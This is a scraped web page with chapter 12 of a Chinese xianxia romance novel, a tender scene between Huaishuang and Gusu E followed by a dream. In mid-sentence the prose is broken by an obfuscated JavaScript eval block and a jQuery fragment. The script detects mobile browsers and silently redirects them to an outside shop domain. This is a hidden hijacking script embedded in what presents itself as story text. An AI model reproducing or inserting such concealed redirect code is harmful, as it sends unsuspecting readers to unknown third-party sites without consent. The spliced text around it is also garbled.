文趣网 > 其他小说 > 清冷仙尊被亲成绕指柔 > 12. 第 12 章
    “我只是太冷了。真的。”

    “我梦到过,真的,真的太冷了。”

    姑苏萼看不清槐霜的面容,只听到她前言不搭后语,呢喃地说着什么梦,身体抖得更加厉害。

    他的肩膀一点点染上湿意。

    “姑苏萼。”

    槐霜终究还是落下泪来。

    “你抱抱我吧。”

    她的声音细弱蚊蝇,仿佛呓语,却叫姑苏萼听得心也酸、眼也酸,全身都酸。

    更没法在这个时候告诉槐霜,他喝下的那盏茶水,此刻药劲儿好像更厉害了。

    要不是被槐霜硬挤到她和墙中间,他现在可能连坐着、都坐得不稳当。

    姑苏萼垂下眼眸,勉强动了动指尖,尝试抬手的力气却使不出分毫。

    瞧着近在咫尺的小脑袋,他微微侧过脸。停顿一瞬,姑苏萼低头在槐霜的头顶亲了一下。

    一触即分,不染半分情欲,干干净净的心疼。

    “不哭了。”

    得到意料之外的安抚,槐霜停顿一拍,反应过来后有些生气。

    “我还想哭。”

    她闷声闷气,在姑苏萼怀里赖着扭了一下。

    自己几年都没一次掉眼泪,今日正好赶上了,干涸的心难得有情绪充沛的时候。

    干嘛突然就叫她别哭了?

    她还没哭爽呢,就掉了几滴眼泪,硬收回去会憋着的。

    姑苏萼倒没料到她是这种反应,迟疑片刻,顺杆子往下说。

    “那你继续。”

    槐霜的脸埋在姑苏萼颈窝,心里却没了刚刚的难过,她狠狠地挤了两下眼睛,勉强多了半颗泪。

    槐霜抬头,眼尾湿哒哒,隐含怨念道:“没感觉了。”

    姑苏萼对上槐霜的瞳眸。

    见她一副生气又有点不好意思生气的神情模样,清绝眉眼初初绽开笑意,唇角勾起一抹浅如春水的缱绻弧度。

    槐霜知道眼前这人在笑自己,却不知道他为何而笑。

    她拧着眉心,辩解道:

    “哭一下而已。不好笑。”

    姑苏萼瞧出她有点尴尬,大抵是极少的情绪表露之后,下意识有点不习惯。

    他配合着抿唇收了笑意。

    见状,槐霜终于找回了往日的气场。

    她三两下从姑苏萼身上挪出来,退回床榻外,立在一旁,认真放话道:“你以后就留在这。”

    “什么大千世界,我不要那么多东西,我只要你。”

    姑苏萼脸上的笑瞬时消失不见。

    他真是没见过槐霜这么执拗的。

    每次都能让人轻而易举地明白什么叫做“前功尽弃”。好事做了,好话也说了,合着在她那儿根本抵不上半点用处。

    望着槐霜离开的背影,姑苏萼任由瘫软的身子歪斜着倒在一侧,神色惘然。

    他能说什么?

    怪人不如怪己。

    最起码怪自己还能长点教训。

    怪别人?别人听吗?

    就算有些人会听,但这一部分人里面,绝对没有槐霜。

    姑苏萼叹了口气,恍惚间尘嚣远去,耳畔却又响起槐霜啜泣的低声,他蓦然闭上了眼睛。

    也不能怪她。

    她被人当替死鬼,险些真的就死了。

    虽有些善恶不明,多半是没人教诲引导的缘故。

    转念间,姑苏萼想到刚刚,槐霜在他怀里哭得打颤、又突然安静的那一刻。

    可怜又可爱。

    他刻意忽略自己的吻。

    脑袋里却飘过一句话。

    “槐霜还是乖的,只是脾气不好而已。”

    -

    不多时,槐霜手里捧着一盘糕点,独自一人返回寝殿。

    昨夜她抱着姑苏萼一夜无眠,今日又起了个大早,差使着朝歌把姑苏萼送出去。

    直到刚刚,明确自己得以脱险,槐霜的身体才放松下来,饥饿疲乏相继涌上,转头进了后院厨房。

    当初,她遣散众人时,把金银财宝都给了她们,那些人走得一个比一个痛快。

    槐霜想着空荡荡的财库,心里也痛快。要兰仙知道了,她攒了数年的家底,被自己一下全散了出去,哪怕没死都要气死掉。

    后厨里放了许多好吃的,没人带走。吃完好几盘糕点,槐霜留下最喜欢吃的一盘,走进侧殿寝室。

    看见姑苏萼斜斜倒在床上,闭着眼睛好像睡着了一样。槐霜放下糕点盘,走过去喊了他一声,没得到回应。

    姑苏萼正冥思苦想,要怎么样才能说服槐霜,把他放走。

    预见到槐霜绝不肯轻易允他离开,他思来想去难得解法。然而姑苏萼又明白,槐霜是信任他的,于是不可避免,脑中隐隐闪过哄骗的念头。

    下一瞬,耳畔响起自己亲口所言的那句——

    “没有哄你。”

    姑苏萼的心绪乱糟糟一团。

    直到槐霜俯身碰到他的瞬间,姑苏萼才回神睁眼,因侧身背对着槐霜,她似乎并未发觉眼前人根本没有睡。

    槐霜专心半托着姑苏萼的脖颈,又把上身和下半身调整到同一水平线,看上去别扭的睡姿俨然好了许多。

    咫尺之间,方寸距离。

    槐霜的呼吸像是初晓时分的雾,寥落一片,落在姑苏萼肩胛耳畔。

    他的眼睫轻颤一瞬,没有合上,却也没有出声。

    槐霜做完一切,顿了顿,打了个哈欠。

    她顺势抬手推了推姑苏萼的身体,让背对自己的他,朝床榻里侧挪了些位置。

    床沿边空出一尺,槐霜了无声地静静侧躺上去。

    她抱着姑苏萼的腰腹,脸颊自觉蹭了一下,很是依赖的样子。

    一簇野火似的温热烫在后背,像是要烫出一个火燎的洞。

    姑苏萼颓然闭眼。

    试图逃避某种不可言说的深重情愫。

    难觅的清净,却如同一面突然降临的明镜,明晃晃照出人心形状,勾勒清晰,无端惹眼。

    姑苏萼不能纵容自己多想。

    槐霜处事一根筋,执拗偏执,难道他也跟着糊涂?

    -

    对于姑苏萼所思,槐霜一无所知,眼睫渐渐垂落。

    鼻息闻到了若有若无的清洌味道。

    槐霜眼皮一重,很快入了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815446|211040||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    梦。

    侧殿寝宫,香炉烟霭浮动。

    青烟飘散于虚空,薄纱浮动影影绰绰。帘帐倏尔撩起,似有轻语呢喃。

    “你什么也不懂。”

    兰仙?

    “不懂爱,不懂恨。”

    槐霜恍惚一瞬,继而安静抬高托盘,为兰仙奉上茶盏。

    再熟悉不过的行为,千百遍的重复,早已刻入身体。

    兰仙只看了槐霜一眼,没有要接手的意思。

    她神情幽幽然,香肩半露。

    躺在花团锦簇的软榻之上,姿态舒展而懒慢。

    兰仙慢条斯理,扬声道:“想懂么?”

    “想。”

    槐霜不想。但看出兰仙兴致勃勃。

    她们之间的对话总是这样;

    兰仙负责说,槐霜负责听。

    只要兰仙想说,槐霜就要跟着她的话头,表达出想听的态度。

    不过,除了兰仙,倒也没什么人会和槐霜说话。

    槐霜有时候不想听,大多数时候,又觉得听听也可以。

    漫无目的地想着,槐霜的目光忽而顿住。

    她垂眸望着茶盏里的浓稠艳红,静默中神色惘然。

    这是怎么回事?为何今日的雨后龙井毫无绿意?

    “槐霜。”

    兰仙轻悠悠一嗓子叫回了槐霜的思绪。

    她哂笑责骂道:“你杀的人太多,怎么也不洗洗干净,血都到我的茶里了。”

    看见槐霜一瞬愣怔的模样,兰仙似乎心情很好。

    “不过也无妨。”

    兰仙笑着伸出细白的长指,将茶盏托起递到唇边。

    她仰面一饮而尽,过程中露出半张侧脸,玩味盯着槐霜。

    幽幽放下茶盏,兰仙的唇洇出浓烈的红,红的鲜艳刺目。

    槐霜倏地移不开眼睛,只见一抹红勾起肆意的弧度,如同盛开的花卉,一瓣一瓣绽开,一点一点露出其中的萼蕊。

    恰如往昔,黑白流转,日夜交替,星落云起,长河入东海,一去不复返。

    那声音如妖似魅,偏偏凉意道不尽;轻响如银铃,却又惹尘埃。

    “爱和恨,其实也没什么,你只记住一点就好。”

    “恨比爱长久,久得多。”

    ……

    槐霜骤然苏醒。

    梦境如冰面般碎裂,而后掉进混沌深海,白茫茫一片,空空如也。

    做了什么梦?槐霜记不太清,心口跳动的幅度却有些微妙的异常。

    她掀起眸子,看见人还在自己身边,遂安心许多。

    抱紧了姑苏萼,槐霜又昏昏睡去。

    彼时,姑苏萼思绪纷杂,只能在捋不清的乱麻中无疾而终,倏然作罢。

    时间仿佛凝滞,更似静止,须臾之间,他亦阖眼踏进斑斓梦乡。

    清浅呼吸带着小腹上那只搭落垂下的手,一起一伏。

    午时,曙光大盛,树影错杂。

    闷燥中蝉鸣阵阵,隔着窗柩传至室内。

    外吵内静,一派谧然,颇有些“偷得浮生半日闲”之意味。

    只是不知,谁偷了谁的浮生。